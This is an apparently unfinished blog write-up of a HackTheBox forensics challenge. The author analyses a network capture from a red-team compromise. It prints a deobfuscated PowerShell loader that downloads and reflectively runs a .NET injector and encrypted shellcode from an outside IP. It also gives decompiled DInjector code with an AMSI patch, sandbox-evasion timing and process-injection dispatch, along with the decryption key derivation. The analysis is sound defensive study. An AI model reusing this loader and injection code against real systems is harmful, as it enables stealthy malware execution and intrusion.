HackTheBox: Forensics Challenge – Red Failure

Note: I am stumped on this particular challenge. Below is how far I’ve gotten.

Link: https://app.hackthebox.com/challenges/red-failure

During a recent red team engagement one of our servers got compromised. Upon completion the red team should have deleted any malicious artifact or persistence mechanism used throughout the project. However, our engineers have found numerous of them left behind. It is therefore believed that there are more such mechanisms still active. Can you spot any, by investigating this network capture?

PCAP Analysis

We are provided a single capture.pcap with 171 packets inside of it.

  • tcp.stream 1 is a GET /4a7xH.ps1 file that contains some code for grabbing a powershell file
  • tcp.stream 2 grabs a user32.dll file from the same place
  • tcp.stream 3 calls the /9tVI0 endpoint which seems to contain some sort of zipped or encoded data that is used in the initial powershell script

Deobfuscating the powershell code returns the following:

# NOTE: Powershell variables are case insensitive and can disregard special characters like `
Set-Variable  'YuE51' ([typE]('SySTeM.REFLEcTIOn.aSSemblY'));  
${a} = 'currentthread'
${B} = '147.182.172.189'
${C} = 80
${D} = 'user32.dll'
${E} = '9tVI0'
${f} = 'z64&Rx27Z$B%73up'
${g} = 'C:\Windows\System32\svchost.exe'
${h} = 'notepad'
${I} = 'explorer'
${j} = 'msvcp_win.dll'
${k} = 'True'
${l} = 'True'

# ${methods} does not contain 'currentthread' so it appears these never actually do anything

${methods} = @(('remotethread'), ('remotethreaddll'), ('remotethreadview'), ('remotethreadsuspended')
if (${methods}.('Contains').Invoke(${A})) {
    ${h} = (&('Start-Process') -WindowStyle ('Hidden') -PassThru ${H})."I`d" # starts a hidden 'notepad' process
}

if (${methods}.("Contains").Invoke(${a})) {
    try {
        ${I} = (&("Get-Process") ${I} -ErrorAction ("Stop"))."ID" # gets PID of explorer.exe
    }
    catch {
        ${I} = 0
    }
}

${cmd} = "currentthread /sc:http://147.182.172.189:80/9tVI0 /password:'z64&Rx27Z$B%73up' /image:C:\Windows\System32\svchost.exe /pid:${H} /ppid:${I} /dll:msvcp_win.dll /blockDlls:True /am51:True"
# contacts 9tVI0 endpoint of url and gets content to invoke
${data} = (.('IWR') -UseBasicParsing "http://147.182.172.189:80/9tVI0")."Content"
${assem} =  ( ls ('vaRIaBLe:yUE51'))."Value"::('Load').Invoke(${data})

${flags} = [Reflection.BindingFlags] ('NonPublic,Static')

${class} = ${assem}.('GetType').Invoke(('DInjector.Detonator'), ${flags})
${entry} = ${class}.('GetMethod').Invoke(('Boom'), ${flags})

${entry}."Invoke"(${null}, (, ${cmd}.('Split').Invoke(" ")))

In Wireshark, navigate to File > Export Objects > HTTP. Then I exported user32.dll and 9tVI0 for further analysis

user32.dll Static Analysis

If we open the user32.dll in JetBrains dotPeek, we can see the private static void Boom function inside of Detonator.cs that shows how this data is used:

private static void Boom(string[] args)
    {
      if (Detonator.VirtualAllocExNuma(Process.GetCurrentProcess().Handle, IntPtr.Zero, 4096U, 12288U, 4U, 0U) == IntPtr.Zero)
        return;
      int dwMilliseconds = new Random().Next(2000, 3000);
      double num = (double) ((uint) dwMilliseconds / 1000U) - 0.5;
      DateTime now = DateTime.Now;
      Detonator.Sleep((uint) dwMilliseconds);
      if (DateTime.Now.Subtract(now).TotalSeconds < num)
        return;
      Dictionary<string, string> dictionary = ArgumentParser.Parse((IEnumerable<string>) args);
      try
      {
        if (bool.Parse(dictionary["/am51"]))
          AM51.Patch();
      }
      catch (Exception ex)
      {
      }
      string s1 = string.Empty;
      foreach (KeyValuePair<string, string> keyValuePair in dictionary)
      {
        if (keyValuePair.Value == string.Empty)
          s1 = keyValuePair.Key;
      }
      string s2 = dictionary["/sc"];
      string password = dictionary["/password"];
      byte[] data;
      if (s2.IndexOf("http", StringComparison.OrdinalIgnoreCase) >= 0)
      {
        Console.WriteLine("(Detonator) [*] Loading shellcode from URL");
        WebClient webClient = new WebClient();
        ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls12;
        string address = s2;
        MemoryStream input = new MemoryStream(webClient.DownloadData(address));
        data = new BinaryReader((Stream) input).ReadBytes(Convert.ToInt32(input.Length));
      }
      else
      {
        Console.WriteLine("(Detonator) [*] Loading shellcode from base64 input");
        data = Convert.FromBase64String(s2);
      }
      byte[] numArray = new AES(password).Decrypt(data);
      int ppid = 0;
      try
      {
        ppid = int.Parse(dictionary["/ppid"]);
      }
      catch (Exception ex)
      {
      }
      bool blockDlls = false;
      try
      {
        if (bool.Parse(dictionary["/blockDlls"]))
          blockDlls = true;
      }
      catch (Exception ex)
      {
      }
      // ISSUE: reference to a compiler-generated method
      switch (\u003CPrivateImplementationDetails\u003E.ComputeStringHash(s1))
      {
        case 597187931:
          if (!(s1 == "remotethread"))
            break;
          RemoteThread.Execute(numArray, int.Parse(dictionary["/pid"]));
          break;
        case 886880049:
          if (!(s1 == "processhollow"))
            break;
          ProcessHollow.Execute(numArray, dictionary["/image"], ppid, blockDlls);
          break;
        case 1013440982:
          if (!(s1 == "functionpointerv2"))
            break;
          FunctionPointerV2.Execute(numArray);
          break;
        case 1337743390:
          if (!(s1 == "clipboardpointer"))
            break;
          ClipboardPointer.Execute(numArray);
          break;
        case 1581928577:
          if (!(s1 == "currentthreaduuid"))
            break;
          CurrentThreadUuid.Execute(Encoding.UTF8.GetString(numArray));
          break;
        case 1633653762:
          if (!(s1 == "remotethreadcontext"))
            break;
          RemoteThreadContext.Execute(numArray, dictionary["/image"], ppid, blockDlls);
          break;
        case 2000324974:
          if (!(s1 == "remotethreadview"))
            break;
          RemoteThreadView.Execute(numArray, int.Parse(dictionary["/pid"]));
          break;
        case 2145053022:
          if (!(s1 == "currentthread"))
            break;
          CurrentThread.Execute(numArray);
          break;
        case 2585521376:
          if (!(s1 == "remotethreadsuspended"))
            break;
          RemoteThreadSuspended.Execute(numArray, int.Parse(dictionary["/pid"]));
          break;
        case 2602728598:
          if (!(s1 == "functionpointer"))
            break;
          FunctionPointer.Execute(numArray);
          break;
        case 3284651259:
          if (!(s1 == "remotethreadapc"))
            break;
          RemoteThreadAPC.Execute(numArray, dictionary["/image"], ppid, blockDlls);
          break;
        case 3819032365:
          if (!(s1 == "remotethreaddll"))
            break;
          RemoteThreadDll.Execute(numArray, int.Parse(dictionary["/pid"]), dictionary["/dll"]);
          break;
      }
    }

Most importantly for us, we can see that the 9tVI0 is shell code that is password protected and needs decrypted.

I checked the AES.cs file as well because we need to know how the Decrypt() method is working. It’s source is here:

using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;

namespace DInjector
{
  internal class AES
  {
    private byte[] key;

    public AES(string password) => this.key = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));

    private byte[] PerformCryptography(ICryptoTransform cryptoTransform, byte[] data)
    {
      using (MemoryStream memoryStream = new MemoryStream())
      {
        using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoTransform, CryptoStreamMode.Write))
        {
          cryptoStream.Write(data, 0, data.Length);
          cryptoStream.FlushFinalBlock();
          return memoryStream.ToArray();
        }
      }
    }

    public byte[] Decrypt(byte[] data)
    {
      using (AesCryptoServiceProvider cryptoServiceProvider = new AesCryptoServiceProvider())
      {
        byte[] array1 = ((IEnumerable<byte>) data).Take<byte>(16).ToArray<byte>();
        byte[] array2 = ((IEnumerable<byte>) data).Skip<byte>(16).Take<byte>(data.Length - 16).ToArray<byte>();
        cryptoServiceProvider.Key = this.key;
        cryptoServiceProvider.IV = array1;
        cryptoServiceProvider.Mode = CipherMode.CBC;
        cryptoServiceProvider.Padding = PaddingMode.PKCS7;
        using (ICryptoTransform decryptor = cryptoServiceProvider.CreateDecryptor(cryptoServiceProvider.Key, cryptoServiceProvider.IV))
          return this.PerformCryptography(decryptor, array2);
      }
    }
  }
}

Most important is the Key, IV and Mode to be able to decrypt. The mode is listed as CipherMode.CBC.

I used a .NET Sandbox to write some code in order to generate the key and IV . For the key:

string password = "z64&Rx27Z$B%73up";
		byte[] key = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));
		StringBuilder builder = new StringBuilder();  
                for (int i = 0; i < key.Length; i++)  
                {  
                    builder.Append(key[i].ToString("x2"));  
                }  
        Console.WriteLine(builder.ToString());
// 0996cb714b12ed96972979398e78724df2a1fa0a1c01372975fdb07e2a15ee15

The IV is the first 16 bytes of the data. In Wireshark, we can view the hexdump of the file:

0000  99 07 bb 67 9e 17 65 dc  bd b4 67 c1 c4 b0 0d 21   ···g··e· ··g····!
0010  3b 3f 70 86 79 dc 12 e5  35 2f f4 ac 0f bb df 6a   ;?p·y··· 5/·····j
0020  57 e4 fa 09 4a 4d 03 ff  ba 9e f2 51 c2 c5 71 00   W···JM·· ···Q··q·
0030  df 04 df f8 82 dc d4 37  3e 0d 0b ba 5c 6b 64 2c   ·······7 >···\kd,
0040  4e 4d 7e 2e 46 bd 25 c2  0c 58 65 c0 27 fa c0 ca   NM~.F·%· ·Xe·'···
0050  d8 a0 12 0d 3e 5e fd 31  c8 f1 6f b8 7b f9 07 18   ····>^·1 ··o·{···
0060  b9 1b 47 59 2f ac 88 34  dc 1b 1c 92 d1 ef a0 08   ··GY/··4 ········
0070  7e dd 67 87 46 42 1c 01  d4 d2 2a a3 b6 00 64 9d   ~·g·FB·· ··*···d·
0080  aa cd 7f 0d 2f 7e 9a 9c  90 57 c1 3e a6 79 8c 15   ····/~·· ·W·>·y··
0090  8f d8 43 de 55 65 42 ac  47 7f 20 f6 38 6d f5 35   ··C·UeB· G· ·8m·5
00A0  a5 dd 46 19 9b 16 8b b2  b1 3d c3 2e e1 c9 d4 b2   ··F····· ·=·.····
00B0  01 47 44 2d 08 df d1 94  1a e0 34 b5 ff 76 a8 9f   ·GD-···· ··4··v··
00C0  01 cd f1 6a 35 e2 57 92  7c aa 02 d2 b6 54 bb 85   ···j5·W· |····T··
00D0  de 27 57 a0 a4 27 93 72  1b bc 25 7d 90 b7 57 dd   ·'W··'·r ··%}··W·
00E0  08 47 d3 31 77 6b b6 b9  68 00 16 8f 12 20 49 38   ·G·1wk·· h···· I8
00F0  fb ec 00 3c e9 ab 5e 90  b5 bc 57 b9 ac 79 ef c4   ···<··^· ··W··y··
0100  05 16 30 28 bd 0c 49 4d  47 db 4f 97 3d 43 dd 62   ··0(··IM G·O·=C·b
0110  df 1e eb 80 91 05 af ff  6d 6e 8a 0e a6 53 ec 9c   ········ mn···S··
0120  03 a6 20 95 49 81 f6 5b  db 47 14 ab bd cf 16 13   ·· ·I··[ ·G······
0130  fc e7 a8 44 f0 c7 94 dd  2b a1 81 14 35 fa 62 ee   ···D···· +···5·b·
0140  d2 c3 da 75 34 37 bc aa  47 22 73 9e c3 65 e1 d6   ···u47·· G"s··e··

The entire first line would then be the IV and the rest is what gets decoded. My full source code for the decryption is here:

Now with the shellcode, it is going to pass to RemoteThread.cs to actually execute.

Following this article, we can use a combination of ollydbg and blobrunner to try and decipher what the shellcode does. Using Cyberchef, I took the hexcode of the file and converted it to hex with a leading \x. Then I used python -c 'print"\xdb...xb2") > shellcode.bin' to drop this file out for analysis:

Just to ensure we are saving the file properly

In my windows VM, run ollydbg and use shellcode.bin as the argument. Let it run until a message appears on the terminal screen:

Debug time

However when running the shellcode, I get an access violation and it is crashing each time. So it still seems I am stuck here!

Comments

No comments available.

Leave a Reply

Your email address will not be published. Required fields are marked *